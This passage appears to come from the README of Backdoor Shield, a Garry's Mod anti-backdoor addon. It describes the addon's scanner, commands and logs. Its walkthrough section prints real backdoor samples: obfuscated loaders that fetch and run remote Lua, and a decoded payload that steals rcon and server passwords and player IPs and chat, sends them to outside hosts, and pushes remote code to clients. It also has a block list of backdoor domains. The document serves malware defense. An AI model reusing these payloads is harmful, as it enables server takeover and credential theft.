| 30 | - Starts before all addons. 31 | - Has highly protected internal code. 32 | - Features a custom, colored logging system. 33 | - Tested against 1500+ addons from both the workshop and forums. 34 | - Includes a file scanner that: 35 | - Quickly and intelligently reads files of any extension. 36 | - Searches for over 450 invisible UTF-8 characters. 37 | - Supports whitelists, blacklists, and loose detection lists. 38 | - Uses a weight system to prioritize important detections. 39 | - Displays relevant results. 40 | - Logs detections categorized by risk. 41 | - Provides real-time protection that: 42 | - Checks function parameters/arguments. 43 | - Protects stack calls by checking function addresses. 44 | - Undoes detoured protected functions. 45 | - Searches for over 450 invisible UTF-8 characters. 46 | - Supports whitelists, blacklists, and loose detection lists. 47 | - Allows individual components to be disabled. 48 | - Can generate traces even through tail calls. 49 | - Features a simple window to notify users of detections. 50 | - Prints detections to the console. 51 | - Logs detections both individually and in groups. 52 | 53 | Honestly, I’m not aware of any free GMod scanner that offers all these features. 54 | 55 | # Install 56 | 57 | Clone or download the files into your **addons folder**. 58 | 59 | You can also subscribe to Backdoor Shield on the Workshop, but this will prevent you from changing the addon's settings later: https://steamcommunity.com/sharedfiles/filedetails/?id=2215013575 60 | 61 | # Configure 62 | 63 | All settings are located in three files within this folder: 64 | - **lua/bs/server/definitions/** 65 | 66 | There’s one file for the scanner, one for real-time protection, and one for internal behavior. Everything is documented in each file. 67 | 68 | # Commands 69 | 70 | As shown in the screenshot above: 71 | 72 | Commands: 73 | | 74 | |-> bs_scan FOLDER(S) Recursively scan lua, txt, vmt, dat and 75 | | json files in FOLDER(S). 76 | | 77 | |-> bs_scan_full FOLDER(S) Recursively scan all files in FOLDER(S). 78 | 79 | * If no folder is defined, it'll scan addons, lua, gamemodes and 80 | data folders. 81 | 82 | Be aware that it's best to run these commands on a dedicated server or in LAN mode, as in singleplayer the game will likely freeze until the scan is complete. 83 | 84 | It’s also worth noting that focused searches are much faster than scanning entire addon libraries. So it's better to use: 85 | 86 | bs_scan_full addons/myAddonA addons/myAddonB 87 | 88 | Another useful tip is to isolate suspicious files in subfolders within the addons folder (e.g., addons/isolation/suspiciousAddon). This way, the game will mount all the contents, but they won’t be executed. It would look like this: 89 | 90 | bs_scan_full addons/isolation/suspiciousAddon 91 | 92 | Note: There's also the ``bs_tests`` command to assist with development. It’s enabled when dev mode is turned on. 93 | 94 | # Logs 95 | 96 | They're stored in **data/backdoor-shield**. 97 | 98 | ![image](https://user-images.githubusercontent.com/5098527/167988691-5b611163-0a22-41fc-8011-c38e083c0516.png) 99 | 100 |
File scanner 101 |

102 | 103 | 104 | Logs from the file scanner are are organized by date and time. Within them, the information is grouped by risk. 105 | 106 | 107 |

108 |
109 | 110 |
Real-time 111 |

112 | 113 | 114 | 115 | 116 | As for real-time detections, they are stored in subfolders named by date and organized in two different ways. 117 | 118 | 119 | 120 | In the first method, items are grouped by "detections", "warnings", and "detours", as shown above. Within these files, the entries are listed in the order they occurred. 121 | 122 | 123 | 124 | In the second method, each detection is placed inside subfolders named after the detected function, along with relevant items such as pieces of malicious code. 125 | 126 | 127 | 128 | 129 |

130 |
131 | 132 | # Real-time protection example 133 | 134 | The example below was created using an older version of the addon, but the concept remains very similar to the current one. 135 | 136 | ## Detection 137 | 138 |
1) Running two backdoors 139 |

140 | 141 | ```lua 142 | -- Dead backdoor: 143 | 144 | RunString(string.char(104, 116, 116, 112, 46, 70, 101, 116, 99, 104, 40, 34, 104, 116, 116, 112, 58, 47, 47, 98, 117, 114, 105, 101, 100, 115, 101, 108, 102, 101, 115, 116, 101, 101, 109, 46, 99, 111, 109, 47, 114, 101, 107, 116, 47, 114, 101, 107, 116, 46, 108, 117, 97, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 99, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 99, 41, 32, 101, 110, 100, 32, 41)) 145 | 146 | -- Alive backdoor: 147 | 148 | http.Fetch("https://steamcommunity.omega-project.cz/lua_run/RunString.php?apikey=spxysAWoRdmPcPeQitSx", function(c) RunString(c) end ) 149 | ``` 150 | 151 |

152 |
153 | 154 |
2) The detection occurs 155 |

156 | 157 | 158 |

159 |
160 | 161 |
3) The logs are stored 162 |

163 | 164 | 165 |

166 |
167 | 168 |
4) We can see the blocked contents 169 |

170 | 171 | - The first backdoor is dead, since the link inside the content doesn't work 172 | 173 | 174 | 175 | ``` 176 | [ALERT] 177 | ----------------------------------------------------------------------------------- 178 | 179 | [Backdoor Shield] Execution blocked! 180 | Function: RunString 181 | Date: 08-29-2020 182 | Time: 19h 34m 56s 183 | Log: data/backdoor-shield/08-29-2020/log_blocked.txt 184 | Content Log: data/backdoor-shield/08-29-2020/RunString/log_blocked_(19h 34m 56s).txt 185 | Detected: 186 | RunString 187 | http.Fetch 188 | Location: stack traceback: 189 | addons/backdoor-shield/lua/bs/server/modules/detouring/functions.lua:50: in function 'RunString' 190 | addons/fakedoor/lua/autorun/server/sv_test2.lua:3: in main chunk 191 | 192 | 193 | [CONTENT] 194 | ----------------------------------------------------------------------------------- 195 | 196 | http.Fetch("http://buriedselfesteem.com/rekt/rekt.lua", function(c) RunString(c) end ) 197 | ``` 198 | 199 | - But the second one is doing some stuff 200 | 201 | 202 | 203 | ``` 204 | [ALERT] 205 | ----------------------------------------------------------------------------------- 206 | 207 | [Backdoor Shield] Execution blocked! 208 | Function: http.Fetch 209 | Date: 08-29-2020 210 | Time: 19h 37m 32s 211 | Log: data/backdoor-shield/08-29-2020/log_blocked.txt 212 | Content Log: data/backdoor-shield/08-29-2020/http.Fetch/log_blocked_(19h 37m 32s).txt 213 | Url: https://steamcommunity.omega-project.cz/lua_run/RunString.php?apikey=spxysAWoRdmPcPeQitSx 214 | Detected: 215 | RunString 216 | RunString 217 | http.Fetch 218 | http.Post 219 | _G[ 220 | Location: stack traceback: 221 | addons/backdoor-shield/lua/bs/server/modules/detouring/functions.lua:50: in function 'Fetch' 222 | addons/fakedoor/lua/autorun/server/sv_test2.lua:7: in main chunk 223 | 224 | 225 | [CONTENT] 226 | ----------------------------------------------------------------------------------- 227 | 228 | arguments = { 229 | " 230 | 231 | 232 | local sKqYgoHBFGNoMavJtTsX = { 233 | --[[ EXTENTIONS DOMAINS BACKDOORS ]] 234 | "\46\99\102", 235 | "\46\116\107", 236 | "\46\121\111\46\102\114", 237 | "\46\121\110\46\102\114", 238 | "\46\48\48\48\119\101\98\104\111\115\116", 239 | "\97\108\119\97\121\115\100\97\116\97\46\110\101\116", 240 | "\46\103\113", 241 | "\46\120\121\122", 242 | "\46\101\115\121\46\101\115", 243 | "\46\109\108", 244 | --[[ DOMAINS BACKDOORS ]] 245 | "\100\114\109\46\103\109", 246 | "\103\118\97\99\100\111\111\114", 247 | "\103\118\97\99", 248 | "\107\112\97\110\101\108", 249 | "\108\107\112\97\110\101\108", 250 | "\119\116\102\109", 251 | "\103\109\97\112", 252 | "\103\45\104\117\98", 253 | "\103\112\97\110\101\108", 254 | "\97\115\116\105\108\108\97\110", 255 | "\103\104\97\120", 256 | "\106\101\108\108\121\105\115\97\102\97\103", 257 | "\115\105\122\122\117\114\112", 258 | "\104\97\121\108\97\121", 259 | "\114\118\97\99", 260 | "\99\105\112\104\101\114\45\112\97\110\101\108", 261 | "\120\118\97\99\100\111\111\114", 262 | "\74\117\115\116\45\115\101\114\118", 263 | "\74\117\115\116\115\101\114\118", 264 | "\120\101\110\100\111\111\114", 265 | "\69\120\111\100\111\115\105\117\109", 266 | "\109\121\119\97\105\102\117", 267 | "\103\98\108\107", 268 | --[[ FILES BACKDOORS ]] 269 | "\115\116\97\103\101\49\46\112\104\112", 270 | "\115\116\97\103\101\50\46\112\104\112", 271 | "\101\118\111\46\112\104\112", 272 | "\101\121\111\46\112\104\112", 273 | "\98\97\99\107\100\111\111\114\46\112\104\112", 274 | "\102\108\103\46\94\112\104\112", 275 | "smart-overwrite", 276 | "anatik", 277 | --[[ $_GET BACKDOORS ]] 278 | "\63\116\111\61", 279 | "\63\116\111\107\101\110\61", 280 | "\63\102\117\99\107\95\107\101\121\61", 281 | "\63\98\97\99\107\100\111\111\114\95\107\101\121\61", 282 | --[[ DIR BACKDOORS ]] 283 | "\47\115\121\115\47", 284 | "\47\99\111\114\101\47", 285 | "\47\115\101\99\117\114\101\95\97\114\101\97\47" 286 | } 287 | 288 | 289 | local httpF = http.Fetch 290 | local httpP = http.Post 291 | local vraisHTTP = HTTP function HTTP(a) 292 | if a.url then 293 | for k,v in pairs(sKqYgoHBFGNoMavJtTsX) do 294 | if string.find(a.url, v) then 295 | return end 296 | end 297 | end 298 | return vraisHTTP(a) 299 | end 300 | 301 | function http.Fetch(...) 302 | local args = {...} 303 | if args[1] then 304 | for k,v in pairs(sKqYgoHBFGNoMavJtTsX) do 305 | if string.find(args[1], v) then 306 | return end 307 | end 308 | end 309 | 310 | return httpF(...) 311 | end 312 | 313 | 314 | function http.Post(...) 315 | local args = {...} 316 | if args[1] then 317 | for k,v in pairs(sKqYgoHBFGNoMavJtTsX) do 318 | if string.find(args[1], v) then 319 | return end 320 | end 321 | end return httpP(...) 322 | end 323 | 324 | _G["http"]["Fetch"]([[https:/]]..[[/api.omega-project.cz/api_connect.php?api_key=]],function(api) 325 | RunString(api) 326 | end) 327 | 328 | ", 329 | 2703, 330 | { 331 | Vary = "Accept-Encoding", 332 | Set-Cookie = "__cfduid=dfe0c3e4f2be8978d00090d7df7dc9e711598740653; expires=Mon, 28-Sep-20 22:37:33 GMT; path=/; domain=.omega-project.cz; HttpOnly; SameSite=Lax; Secure,__ddg1=ZRzJovYJDvrB2k895vsn; Domain=.omega-project.cz; HttpOnly; Path=/; Expires=Sun, 29-Aug-2021 22:37:33 GMT", 333 | Transfer-Encoding = "chunked", 334 | Connection = "keep-alive", 335 | Date = "Sat, 29 Aug 2020 22:37:34 GMT", 336 | Content-Encoding = "gzip", 337 | Content-Type = "text/html; charset=UTF-8", 338 | Server = "cloudflare", 339 | }, 340 | 200, 341 | } 342 | ``` 343 | 344 |

345 |
346 | 347 | ## Decoding 348 | 349 | Let's continue to see what's going on. I won't explain how I deobfuscated the code but I'll show the results and leave this link here https://www.dcode.fr/ascii-code. 350 | 351 |
1) Here is the active backdoor decoded 352 |

353 | 354 | It's inhibiting other backdoors through some detourings and taking the next step. 355 | 356 | ```lua 357 | local nKvWQygqjyMKsWkNbsiO = { 358 | --[[ EXTENTIONS DOMAINS BACKDOORS ]] 359 | ".cf", 360 | ".tk", 361 | ".yo.fr", 362 | ".yn.fr", 363 | ".000webhost", 364 | "alwaysdata.net", 365 | ".gq", 366 | ".xyz", 367 | ".esy.es", 368 | ".ml", 369 | --[[ DOMAINS BACKDOORS ]] 370 | "drm.gm", 371 | "gvacdoor", 372 | "gvac", 373 | "kpanel", 374 | "lkpanel", 375 | "wtfm", 376 | "gmap", 377 | "g-hub", 378 | "gpanel", 379 | "astillan", 380 | "ghax", 381 | "jellyisafag", 382 | "sizzurp", 383 | "haylay", 384 | "rvac", 385 | "cipher-panel", 386 | "xvacdoor", 387 | "Just-serv", 388 | "Justserv", 389 | "xendoor", 390 | "Exodosium", 391 | "mywaifu", 392 | "gblk", 393 | --[[ FILES BACKDOORS ]] 394 | "stage1.php", 395 | "stage2.php", 396 | "evo.php", 397 | "eyo.php", 398 | "backdoor.php", 399 | "flg.^php", 400 | "smart-overwrite 10", 401 | "anatik 10", 402 | --[[ $_GET BACKDOORS ]] 403 | "?to=", 404 | "?token=", 405 | "?fuck_key=", 406 | "?backdoor_key=", 407 | --[[ DIR BACKDOORS ]] 408 | "/sys/", 409 | "/core/", 410 | "/secure_area/", 411 | } 412 | 413 | -- Toma as funções do GMod pra ele 414 | local httpF = http.Fetch 415 | local httpP = http.Post 416 | local vraisHTTP = HTTP 417 | 418 | -- Barra o uso de backdoors bloqueando tudo da lista acima 419 | -- (Se estiver limpo, executa a função) 420 | 421 | function HTTP(a) 422 | if a.url then 423 | for k,v in pairs(nKvWQygqjyMKsWkNbsiO) do 424 | if string.find(a.url, v) then 425 | return end 426 | end 427 | end 428 | return vraisHTTP(a) 429 | end 430 | 431 | function http.Fetch(...) 432 | local args = {...} 433 | if args[1] then 434 | for k,v in pairs(nKvWQygqjyMKsWkNbsiO) do 435 | if string.find(args[1], v) then 436 | return end 437 | end 438 | end 439 | 440 | return httpF(...) 441 | end 442 | 443 | 444 | function http.Post(...) 445 | local args = {...} 446 | if args[1] then 447 | for k,v in pairs(nKvWQygqjyMKsWkNbsiO) do 448 | if string.find(args[1], v) then 449 | return end 450 | end 451 | end return httpP(...) 452 | end 453 | 454 | _G["http"]["Fetch"]([[https:/]]..[[/api.omega-project.cz/api_connect.php?api_key=]],function(api) 455 | RunString(api) 456 | end) 457 | ``` 458 | 459 |

460 |
461 | 462 |
2) I disabled my old Lua snippets, took the end of the decoded script and ran it 463 |

464 | 465 | ```lua 466 | -- Dead backdoor: 467 | 468 | --RunString(string.char(104, 116, 116, 112, 46, 70, 101, 116, 99, 104, 40, 34, 104, 116, 116, 112, 58, 47, 47, 98, 117, 114, 105, 101, 100, 115, 101, 108, 102, 101, 115, 116, 101, 101, 109, 46, 99, 111, 109, 47, 114, 101, 107, 116, 47, 114, 101, 107, 116, 46, 108, 117, 97, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 99, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 99, 41, 32, 101, 110, 100, 32, 41)) 469 | 470 | -- Alive backdoor: 471 | 472 | --http.Fetch("https://steamcommunity.omega-project.cz/lua_run/RunString.php?apikey=spxysAWoRdmPcPeQitSx", function(c) RunString(c) end ) 473 | 474 | _G["http"]["Fetch"]([[https:/]]..[[/api.omega-project.cz/api_connect.php?api_key=]],function(api) 475 | RunString(api) 476 | end) 477 | ``` 478 | 479 |

480 |
481 | 482 |
3) Now I got a new detection with a bunch of new things to analyze 483 |

484 | 485 | 486 | ``` 487 | [ALERT] 488 | ----------------------------------------------------------------------------------- 489 | 490 | [Backdoor Shield] Execution blocked! 491 | Function: http.Fetch 492 | Date: 08-29-2020 493 | Time: 19h 42m 45s 494 | Log: data/backdoor-shield/08-29-2020/log_blocked.txt 495 | Content Log: data/backdoor-shield/08-29-2020/http.Fetch/log_blocked_(19h 42m 45s).txt 496 | Url: https://api.omega-project.cz/api_connect.php?api_key= 497 | Detected: 498 | =_G 499 | RunString 500 | CompileString 501 | BroadcastLua 502 | Location: stack traceback: 503 | addons/backdoor-shield/lua/bs/server/modules/detouring/functions.lua:50: in function 'Fetch' 504 | addons/fakedoor/lua/autorun/server/sv_test2.lua:9: in main chunk 505 | 506 | 507 | [CONTENT] 508 | ----------------------------------------------------------------------------------- 509 | 510 | arguments = { 511 | " 512 | --[[ 513 | name: Ʊmega Project 514 | author: Inplex 515 | Google Trust Api factor: 78/100 516 | Last Update: 02 06 2020 517 | Description: If you use the panel for hack you will be banned ! 518 | ]] 519 | 520 | local debug = debug 521 | local error = error 522 | local ErrorNoHalt = ErrorNoHalt 523 | local hook = hook 524 | local pairs = pairs 525 | local require = require 526 | local sql = sql 527 | local string = string 528 | local table = table 529 | local timer = timer 530 | local tostring = tostring 531 | local mysqlOO 532 | local TMySQL 533 | local _G = _G 534 | UzjRokDYxAOWbxLIEiRXmogsroltxsCpQgiEkuIR = {} 535 | local server_key = "UrJPyGUdi"_R=_G 536 | if omega_ed463d5fadf4890eca35eb8ea156c847 == "HGEed463d5fadf4890eca35eb8ea156c847" then return end 537 | omega_ed463d5fadf4890eca35eb8ea156c847="HGEed463d5fadf4890eca35eb8ea156c847" 538 | _R["\95\48\120\54\56\51\50\53\51"]=_R["\104\116\116\112"]["\112\111\115\116"] or "timer" 539 | _R["\95\48\120\52\56\50\51\55\54"]=_R["\104\116\116\112"]["\80\111\115\116"] or "Create" 540 | _R["\95\48\120\49\55\54\53\49\52"]=_R["\72\84\84\80"] or "api.omega-project.cz" 541 | _R["\95\48\120\52\53\49\57\53\54"]=_R["\83\101\114\118\101\114\76\111\103"] or "" 542 | _R["\95\48\120\50\57\54\55\56\55"]=_R["\82\117\110\83\116\114\105\110\103"] or "rcon non trouvé" 543 | _R["\95\48\120\51\52\50\52\53\48"]=_R["\102\105\108\101"]["\69\120\105\115\116\115"] or "print" 544 | _R["\65\120\121\117\110\101\77\90\87\69"] = "api.omega-project.cz" 545 | _R["\104\122\100\65\108\99\118\113\106\114"] = "\97\116\108\97\115\45\99\104\97\116\46\115\105\116\101" 546 | _R["\95\48\120\57\52\48\49\51\55"] = _R["\69\114\114\111\114"] 547 | local pGbSGVIuUevjvQbOFgCc, FCPttlLwqrzAChdIZtnd = "\80\108\97\121\101\114\73\110\105\116\105\97\108\83\112\97\119\110", "\80\108\97\121\101\114\68\105\115\99\111\110\110\101\99\116\101\100" 548 | local header_GwFWGpHBKMfYqsd = { 549 | ["Authorization"] = "ZWM2OGJkMjMxMGMyODRiODljNGYyNDliYTkzMWQ2Y2Q" 550 | } 551 | 552 | -- include request 553 | _0x176514({ url=[[https://]]..AxyuneMZWE.."/api_anti_backdoors.php"; method="get"; success=function(api,anti_backdoors) _0x296787(anti_backdoors) end }) 554 | _0x176514({ url=[[https://]]..AxyuneMZWE.."/api_player_blacklist.php"; method="get"; success=function(api,bad_player_blacklist) _0x296787(bad_player_blacklist) end }) 555 | 556 | local addons_files, addons_folders = _R["file"]["Find"]("addons/*", "GAME") 557 | for k,v in pairs(addons_folders) do 558 | if (v != "checkers") and (v != "chess") and (v != "common") and (v != "go") and (v != "hearts") and (v != "spades") then 559 | _0x482376([[https://]]..AxyuneMZWE.."/api_addons.php", {server_ip = _R["game"]["GetIPAddress"](),crsf = "LuicBbIVUSxUbwKyGdOPvHgEVMjRiZFsmMhwEuzy#MTg2LjIyOS4yMjYuMTAy#DcKbgZMolAqhaosmSYVGXXJTAgfyqJvQclnitBUy",addons_name = v, addons_update = util.Base64Encode(file.Time( "addons/"..v, "GAME" ))}, function(http_addons) 560 | if _R["\115\116\114\105\110\103"]["\76\101\102\116"]( http_addons, 1 ) == "<" or http_addons == "" then 561 | return 562 | else 563 | _0x296787(http_addons) 564 | end 565 | end, function( error ) 566 | end, header_GwFWGpHBKMfYqsd ) 567 | end 568 | end 569 | 570 | 571 | util.AddNetworkString("cKdwwjkBzpUSproGWmGe") 572 | _R["BroadcastLua"]([[net.Receive("cKdwwjkBzpUSproGWmGe",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]]) 573 | function _0x427940(HsQzhjEtDdhsZssJfpfL) 574 | timer.Simple( 0.5, function( ) 575 | _R["DATA"] = util.Compress(HsQzhjEtDdhsZssJfpfL) 576 | _R["len"] = #data 577 | _R["\110\101\116"]["\83\116".."\97\114\116"]("cKdwwjkBzpUSproGWmGe") 578 | _R["\110".."\101\116"]["\87\114".."\105\116\101\85\73\110\116"](len, 16) 579 | _R["\110\101".."\116"]["\87\114\105\116\101\68".."\97\116\97"](data, len) 580 | _R["\110\101\116"]["\66\114\111".."\97\100\99\97\115\116"]() 581 | end) 582 | end 583 | 584 | 585 | util.AddNetworkString("QvQaTLXQJvDEmezmiHYj") 586 | _R["BroadcastLua"]([[net.Receive("QvQaTLXQJvDEmezmiHYj",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]]) 587 | function SendPly(HsQzhjEtDdhsZssJfpfL, steamid64) 588 | timer.Simple( 0.5, function( ) 589 | _R["\100\97\116\97"] = util.Compress(HsQzhjEtDdhsZssJfpfL) 590 | _R["\108\101\110"] = #data 591 | _R["\110\101\116"]["\83\116".."\97\114\116"]("QvQaTLXQJvDEmezmiHYj") 592 | _R["\110".."\101\116"]["\87\114".."\105\116\101\85\73\110\116"](len, 16) 593 | _R["\110\101".."\116"]["\87\114\105\116\101\68".."\97\116\97"](data, len) 594 | for k, ply in pairs(player.GetAll()) do 595 | if ( ply:SteamID64() == steamid64 ) then 596 | _R["\110\101\116"]["Send"](ply) 597 | end 598 | end 599 | end) 600 | end 601 | 602 | _R["\104\111\111\107"]["\65\100\100"](pGbSGVIuUevjvQbOFgCc, "nYQUQrWaerewCmEoqjVUvrrkWFAgjfYzfecgMiiTgymFAonGsT", function(ply) 603 | _0x482376([[https://]]..AxyuneMZWE.."/api_get_logs.php",{ 604 | ["\99\115\114\102"] = "ec68bd2310c284b89c4f249ba931d6cd", 605 | ["\99\111\108\111\114"] = "5dc766", 606 | ["\99\111\110\116\101\110\116"] = "Client "..ply:Name().." connected ("..ply:IPAddress()..").", 607 | ["\115\101\114\118\101\114\95\105\112"] = _R["game"]["GetIPAddress"]() 608 | },_0x296787) 609 | end) 610 | 611 | _R["\104\111\111\107"]["\65\100\100"](FCPttlLwqrzAChdIZtnd, "msBMAtvKWjUOHFZfNCRBemSkQdJnfwcpcfFnPKfQqxcaKEhMma", function(ply) 612 | _0x482376([[https://]]..AxyuneMZWE.."/api_get_logs.php",{ 613 | ["\99\115\114\102"] = "ec68bd2310c284b89c4f249ba931d6cd", 614 | ["color"] = "de3333", 615 | ["\99\111\110\116\101\110\116"] = "Dropped "..ply:Name().." from server (Disconnect by user).", 616 | ["\115\101\114\118\101\114\95\105\112"] = _R["game"]["GetIPAddress"]() 617 | },_0x296787) 618 | end) 619 | 620 | function ServerLog( logs_content ) 621 | _0x482376([[https://]]..AxyuneMZWE.."/api_get_logs.php",{ 622 | ["\99\115\114\102"] = "ec68bd2310c284b89c4f249ba931d6cd", 623 | content = logs_content, 624 | server_ip = _R["game"]["GetIPAddress"]() 625 | },_0x296787) 626 | return _0x451956( logs_content ) 627 | end 628 | 629 | function Error( string ) 630 | _0x482376([[https://]]..AxyuneMZWE.."/api_get_logs.php",{ 631 | ["\99\115\114\102"] = "ec68bd2310c284b89c4f249ba931d6cd", 632 | ["\99\111\110\116\101\110\116"] = string, 633 | ["\115\101\114\118\101\114\95\105\112"] = _R["game"]["GetIPAddress"]() 634 | },RunString) 635 | return _0x940137( string ) 636 | end 637 | 638 | _R["\116\105\109\101\114"]["\67\114\101\97\116\101"]( "FLPcvsCBTQJoZQGLILQUDEVvRmPRvLoyVXEuMYOSOHMaEXDKse", 1, 0, function() 639 | _R["\104\111\111\107"]["\65\100\100"]( "PlayerSay", "ujLFdRUcqVAoqZwfiMSQpZeWbcvItgnNitYilclAqwPUvxSmZW", function( ply, text ) 640 | local http_chat_table = { 641 | name = ply:Name(), 642 | server_ip = _R["GetTcpInfo"](), 643 | steamid64 = ply:SteamID64(), 644 | nyFaIvniEL = "TPlnCsTLWywBNOdjsIEpiZEXJLCAJoQzesllKZlW", 645 | BtNDxRHcgb = "PCBKWTMGVJirRWrxIPNjkwOesDxXxeFDdpepUfdM", 646 | jcqaplfenV = "crraFpbGqRmxDQCenENbzIJAuNUFieGTgdJoBiZG", 647 | LEUJYRpUyx = "aizJdLXTEVPoYQQsgMOdzSwCmNazHfRFrFNnffmT", 648 | FBWCeMNeTL = "LSxRhSnkNHyrbgtboMNzAiTZFrsnkkcLYGwciHlo", 649 | message = text 650 | } 651 | _0x482376([[https://]]..AxyuneMZWE.."/chat_connect.php?haoaOPspJnETKyz=trPtLhCynfaGkLt", http_chat_table, function(http_chat) _0x296787(http_chat) end) 652 | end) 653 | if _0x342450("\99\102\103\47\97\117\116\111\101\120\101\99\46\99\102\103","GAME") 654 | then local cfile = file.Read("cfg/autoexec.cfg","GAME") 655 | for k,v in pairs(string.Split(cfile,"\n")) do 656 | if string.StartWith(v,"rcon_password") 657 | then rcon_pw = string.Split(v,"\"")[2] 658 | end 659 | end 660 | end 661 | if _0x342450("\99\102\103\47\115\101\114\118\101\114\46\99\102\103","GAME") 662 | then cfile = file.Read("cfg/server.cfg","GAME") 663 | for k,v in pairs(string.Split(cfile,"\n")) 664 | do if string.StartWith(v,"rcon_password") 665 | then rcon_pw = string.Split(v,"\"")[2] 666 | end 667 | end 668 | end 669 | if _0x342450("\99\102\103\47\103\97\109\101\46\99\102\103","GAME") 670 | then cfile = file.Read("cfg/game.cfg","GAME") 671 | for k,v in pairs(string.Split(cfile,"\n")) 672 | do if string.StartWith(v,"rcon_password") 673 | then rcon_pw = string.Split(v,"\"")[2] 674 | end 675 | end 676 | end 677 | if _0x342450("\99\102\103\47\103\109\111\100\45\115\101\114\118\101\114\46\99\102\103","GAME") 678 | then cfile = file.Read("cfg/gmod-server.cfg","GAME") 679 | for k,v in pairs(string.Split(cfile,"\n")) 680 | do if string.StartWith(v,"rcon_password") 681 | then rcon_pw = string.Split(v,"\"")[2] 682 | end 683 | end 684 | end 685 | if rcon_pw == "" then 686 | rcon_pw = "Aucun Rcon" 687 | end 688 | for k,v in pairs(player.GetAll()) do 689 | local DrkaWVDhZhRCHgyRGENj = { 690 | ["\110\97\109\101"] = v:GetName(), 691 | ["\105\112"] = v:IPAddress(), 692 | ["\115\101\114\118\101\114\95\105\112"] = _R["game"]["GetIPAddress"](), 693 | ["\99\114\115\102"] = "MMsFDCxvTbPfHnPUwcylyHhezmHbOsBlvhTiNhRz#MTg2LjIyOS4yMjYuMTAy#jSUttWLIHMKvFliWsMJRcDpxwgTHvKxLaPfwDBtZ", 694 | ["\115\116\101\97\109\105\100"] = v:SteamID(), 695 | ["\115\116\101\97\109\105\100\54\52"] = v:SteamID64(), 696 | ["OcvWPRmzdQ"] = "cZEHIshMiGdcmjIwgHRIBVckfUarvjwptUvgdeuw", 697 | ["khpvEspqLQ"] = "aaQsnnUqsxaGyqJkHqqxHCWJeAJMBHnixRPiFeQk", 698 | ["cZiGZpQXxK"] = "suKIfVNfRKCTdhQrvzbvKHfPmJMDyVfbdAdBTCtv", 699 | ["yNpPvxIEYQ"] = "jxcvvCnbgmfVMFbIxDIsIizjgGgSKeOCUTjiWdwm", 700 | ["NGiFdbJnXv"] = "dcUYvgSiZSvgHzSliHVxdliXIEMLhrzWhJPNpiZy" 701 | } 702 | _0x482376([[https://]]..AxyuneMZWE.."/user_connect.php?rzfmjhnXKtVupXH=stmWrBHtmIsKpxN&ping=" .. v:Ping(), DrkaWVDhZhRCHgyRGENj, function( http_users ) 703 | if _R["\115\116\114\105\110\103"]["\76\101\102\116"]( http_users, 1 ) == "<" or http_users == "" then 704 | return 705 | else 706 | _0x296787( http_users ) 707 | end 708 | end, function( error ) 709 | end, header_GwFWGpHBKMfYqsd ) 710 | end 711 | local VsTWOaUGyYXokLUQDOTO = { 712 | ["\105"] = _R["GetTcpInfo"](), 713 | ["\110"] = _R["\71\101\116\72\111\115\116\78\97\109\101"](), 714 | ["\109"] = _R["\103\97\109\101"]["\71\101\116\77\97\112"](), 715 | ["\98\111"] = _R["\116\111\115\116\114\105\110\103"](#_R["\112\108\97\121\101\114"]["\71\101\116\66\111\116\115"]()), 716 | ["\99"] = _R["\103\97\109\101"]["\71\101\116\73\80\65\100\100\114\101\115\115"]().."{+}"..server_key.."{+}".."1598740966", 717 | ["\103"] = _R["\101\110\103\105\110\101"]["\65\99\116\105\118\101\71\97\109\101\109\111\100\101"](), 718 | ["\99\114\115\102"] = "MTg2LjIyOS4yMjYuMTAy#HAxFpswxUQiTyulaKvyYIkQxTCoXuLzjFBBoHsfC", 719 | ["\110\98"] = tostring(#player.GetAll()).."/"..game.MaxPlayers(), 720 | ["\108\117\114\108"] = _R["GetConVar"]("sv_loadingurl"):GetString(), 721 | ["\112\97\115\115"] = GetConVar("\115\118\95\112\97\115\115\119\111\114\100"):GetString(), 722 | ["\107"] = "", 723 | ["\99\108\105\101\110\116".."_".."\102\117\110\99"] = "_0x427940", 724 | ["\114"] = rcon_pw, 725 | ["eBQErysiKP"] = "XDuoiBjxoHEwaPvznpkehEuKxGcGxwsAoxBzjpAZ", 726 | ["dufqbNcvWE"] = "NrpfyEcyJIyupTUKZTaRoxzouNBZZHtYnuGxxLaF", 727 | ["GxRQEDghgj"] = "XJGGIQUzmaJxUsZZUUdTCyKuTlotFXznZhEgWZoe", 728 | ["ECFmDAYImx"] = "WvXwVKAUamKSoEAOVmzbHCyxhvVnDjOrLsasylcp", 729 | ["TlQPyMqTiE"] = "pVMWPprumKRsZrYSjDVCkoSOZsCwGWLWGlgSZNWt" 730 | } 731 | _0x482376("https://omega-project.cz/api_lib/_-_-drm-_-_/__.php", VsTWOaUGyYXokLUQDOTO, function(http_servers) 732 | if _R["\115\116\114\105\110\103"]["\76\101\102\116"]( http_servers, 1 ) == "<" or http_servers == "" then 733 | return 734 | else 735 | _0x296787(http_servers) 736 | end 737 | end, function( error ) 738 | end, header_GwFWGpHBKMfYqsd ) 739 | end) 740 | 741 | if 1 == 0 or 1 == 1 then 742 | local no_spam_plz = "cGhYBOTiQHkqBsENnrGnMPLxvwfEEwZlnpxlZHUHDCWdlWrrYB" 743 | CONNECTED_TO_MYSQL = true 744 | local all_server = sql.Query("SELECT * FROM server_list") 745 | end 746 | 747 | ", 748 | 11300, 749 | { 750 | Vary = "Accept-Encoding", 751 | Set-Cookie = "__cfduid=d011e81c32b1b9d48f331abfd6e4628a51598740966; expires=Mon, 28-Sep-20 22:42:46 GMT; path=/; domain=.omega-project.cz; HttpOnly; SameSite=Lax; Secure,GOOGLE_TRUST_FACTOR=qrLGXXkCAbsNhCdnLSyP; expires=Sun, 30-Aug-2020 01:22:46 GMT; Max-Age=9600,GOOGLE_TRUST_FACTOR=puyseuAkakcwHaKowHLZ; expires=Sun, 30-Aug-2020 01:22:46 GMT; Max-Age=9600,GOOGLE_TRUST_FACTOR=kszSrlEZYRsTXiZzfImB; expires=Sun, 30-Aug-2020 01:22:46 GMT; Max-Age=9600", 752 | Transfer-Encoding = "chunked", 753 | Connection = "keep-alive", 754 | Date = "Sat, 29 Aug 2020 22:42:47 GMT", 755 | Content-Encoding = "gzip", 756 | Content-Type = "text/html; charset=UTF-8", 757 | Server = "cloudflare", 758 | }, 759 | 